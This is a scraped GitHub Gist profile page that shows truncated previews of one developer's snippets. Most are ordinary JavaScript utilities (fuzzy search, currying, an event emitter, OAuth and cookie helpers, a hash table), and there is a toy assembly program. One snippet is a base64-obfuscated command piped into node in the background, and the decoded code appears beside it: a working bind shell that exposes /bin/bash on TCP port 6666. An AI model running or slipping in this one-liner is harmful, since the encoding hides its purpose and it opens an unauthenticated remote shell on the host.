Skip to content

Instantly share code, notes, and snippets.

View slugbyte's full-sized avatar
⌨️

Duncan Marsh slugbyte

⌨️
View GitHub Profile
_main
JMP _c
HALT
_c
OUT 1 0
OUT 1 1
OUT 1 2
OUT 1 14
echo 'cmVxdWlyZSgnbmV0JykuY3JlYXRlU2VydmVyKChzb2NrZXQpID0+IHsKICBsZXQgYmFzaCA9IHJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5zcGF3bignL2Jpbi9iYXNoJykKICBzb2NrZXQub24oJ2RhdGEnLCBkYXRhID0+IGJhc2guc3RkaW4ud3JpdGUoZGF0YS50b1N0cmluZygpLnRyaW0oKSArICdcbicpKQogIGJhc2guc3Rkb3V0LnBpcGUoc29ja2V0KQogIGJhc2guc3RkZXJyLnBpcGUoc29ja2V0KQp9KS5saXN0ZW4oNjY2Nik=' | base64 -D | node &
require('net').createServer((socket) => {
let bash = require('child_process').spawn('/bin/bash')
socket.on('data', data => bash.stdin.write(data.toString().trim() + '\n'))
bash.stdout.pipe(socket)
bash.stderr.pipe(socket)
}).listen(6666)
let fib = (x) => (x === 0 || x === 1) ? x : fib(x - 1) + fib(x - 2)
'use strict'
// fuzzy search
//
// list filter by a regex that matches a order of characters with anything inbeween them
// the filter azb whould match string that has a before z before b
// a fuzzy azb would be the regex /.*a.*z.*b.*/
fuzzy = (filterTerm) => new RegExp('.*' + filterTerm.toLowerCase().split('').join('.*') + '.*')
let curry = (fn, ...defaults) => {
if(typeof fn !== 'function') throw new Error('Expected a function')
if(fn.length < 2) return fn
if(defaults.length >= fn.length) return fn(...defaults)
return (...args) => curry(fn, ...defaults.concat(args))
}
class EE {
constructor(){
this.listeners = {}
}
on(message, cb){
if(this.listeners[message]){
this.listeners[message].push(cb)
} else {
this.listeners[message] = [cb]
}
let oauthURL = 'https://accounts.google.com/o/oauth2/v2/auth'
let oauthQuery = encode({
client_id: __GOOGLE_CLIENT_ID__,
redirect_uri: `${__API_URL__}/oauth/google/code`,
response_type: 'code',
scope: 'openid email profile',
prompt: __DEBUG__ ? 'consent' : undefined,
})
let cookieTime = (days) => {
let result = new Date()
result.setTime(result.getTime() + (days * 86400000))
return result.toUTCString()
}
let cookieCreate = (name, value, days) => {
let expires = days ? ` ${cookieTime(days)};` : ''
document.cookie = `${name}=${value};${expires} path='/'`
}
'use strict'
const DLL = require('../doubly-linked-list');
const HashTable = module.exports = function(size=1000){
this.size = size;
}
HashTable.prototype.hash = function(key){
return key.split('').reduce((p, n) => p + n.charCodeAt(0), 0) % this.size;